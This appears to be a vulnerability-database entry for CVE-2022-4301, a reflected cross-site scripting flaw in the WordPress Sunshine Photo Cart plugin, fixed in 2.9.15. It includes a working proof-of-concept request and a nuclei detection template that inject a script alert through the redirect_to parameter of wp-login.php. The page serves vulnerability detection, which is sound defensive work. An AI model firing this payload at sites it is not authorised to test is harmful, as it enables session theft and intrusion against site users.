HexBrain

Browse / CVEs / CVE-2022-4301

CVE-2022-4301· sunshinephotocart / sunshine photo cart· CWE-79

WordPress Sunshine Photo Cart <2.9.15 - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.9%likelihood of exploitation, next 30 days
62%of all CVEs are less likely
Readycheck to confirm it

WordPress Sunshine Photo Cart plugin before 2.9.15 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Fixed in version 2.9.15.

How to confirm it

Send: GET {{BaseURL}}/wp-login.php?action=register&redirect_to=x%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "<script>alert(document.domain)</script>" and "Registration Form" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-4301 -u <target>

The full check
id: CVE-2022-4301

info:
  name: WordPress Sunshine Photo Cart <2.9.15 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Sunshine Photo Cart plugin before 2.9.15 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 2.9.15.
  reference:
    - https://wpscan.com/vulnerability/a8dca528-fb70-44f3-8149-21385039179d
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4301
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4301
    cwe-id: CWE-79
    epss-score: 0.00947
    epss-percentile: 0.61459
    cpe: cpe:2.3:a:sunshinephotocart:sunshine_photo_cart:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sunshinephotocart
    product: sunshine_photo_cart
    framework: wordpress
  tags: cve2022,cve,xss,sunshine,wordpress,wp-plugin,wpscan,unauth,sunshinephotocart,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-login.php?action=register&redirect_to=x%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'Registration Form'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from